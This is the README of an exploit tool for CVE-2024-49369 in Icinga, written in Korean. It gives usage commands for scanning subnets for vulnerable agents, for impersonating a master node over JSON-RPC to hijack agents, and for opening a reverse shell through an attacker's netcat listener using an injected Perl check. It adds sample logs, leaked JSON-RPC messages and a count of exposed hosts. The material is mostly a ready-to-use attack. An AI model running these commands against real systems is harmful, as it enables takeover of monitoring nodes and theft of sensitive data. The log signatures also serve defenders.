quantum-sicarius/cve-2024-49369Icinga의 CVE-2024-49369를 위한 익스플로잇 도구로, 서브넷 스캐닝, JSON-RPC 가장을 통한 에이전트 탈취, 임의 명령 실행, 리버스 셸을 지원합니다.
이 취약점은 Icinga JSON-RPC 프로토콜을 이용하여 Icinga 에이전트를 실행 중인 모니터링 노드를 공격합니다. Master/Satellite 인스턴스를 사칭함으로써 공격자는 에이전트를 장악하고, 임의 명령을 실행하거나, 민감한 정보를 획득할 수 있습니다.
취약한 에이전트를 서브넷에서 스캔하려면 다음 명령을 실행하세요:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
이 명령은 지정된 서브넷을 25개 IP 배치 단위로 스캔합니다. 도구는 JSON-RPC 프로토콜을 통해 Icinga::HELLO 메시지를 보내고 응답하는 에이전트와 해당 버전을 식별합니다.
엔드포인트에서 설정 및 명령 실행이 활성화된 경우 (Icinga 에이전트가 설치된 모니터링 노드의 기본 설정), 공격자는 다음을 수행할 수 있습니다:
이로 인해 (서비스 사용자에 따라) 전체 시스템이 손상되거나 제한된 접근이 가능해질 수 있습니다.
부모 노드가 여전히 연결되어 있을 때, 익스플로잇 연결은 로그에 다음과 같이 표시됩니다:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
클러스터에 대한 경고가 발생하는 것으로 보아 이 노드는 공격에 취약함을 알 수 있습니다. 즉, 현재 위성은 여전히 연결되어 있지만, 이 에이전트는 우리를 유효한 부모로 인식합니다.
리버스 셸용 Netcat 리스너를 시작합니다:
nc -lvnp 9001
익스플로잇을 실행합니다:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: 대상 에이전트의 IP 주소.--node-cn: 사칭할 Master/Satellite의 Common Name.--zone: 대상 영역 이름. 기본값은 master.--revip: 리버스 셸용 공격자 IP 주소.--revport: 리버스 셸용 공격자 포트.이 명령은 반복적으로 연결을 시도합니다. 대상 에이전트가 현재 부모와 연결을 끊으면 도구가 연결을 넘겨받아 체크를 보내고 수신합니다.
도구가 생성한 새 체크의 일부로 Perl 기반 리버스 셸이 사용됩니다.
대상에서 설정 및 명령 실행이 비활성화되어 있더라도, 공격자는 에이전트에 전송된 체크 결과를 관찰하여 민감한 데이터를 얻을 수 있습니다.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
이러한 응답은 민감한 구성, 스케줄링 데이터 또는 모니터링되는 서비스의 결과까지도 노출할 수 있습니다.
Censys에는 현재 공개 Icinga 포트를 가진 24,003개의 호스트가 있습니다. 샘플 점검 결과 대부분의 호스트가 여전히 취약한 버전의 Icinga를 실행 중인 것으로 나타났습니다.
이 연구는 Icinga의 블로그에서 논의된 작업을 기반으로 합니다.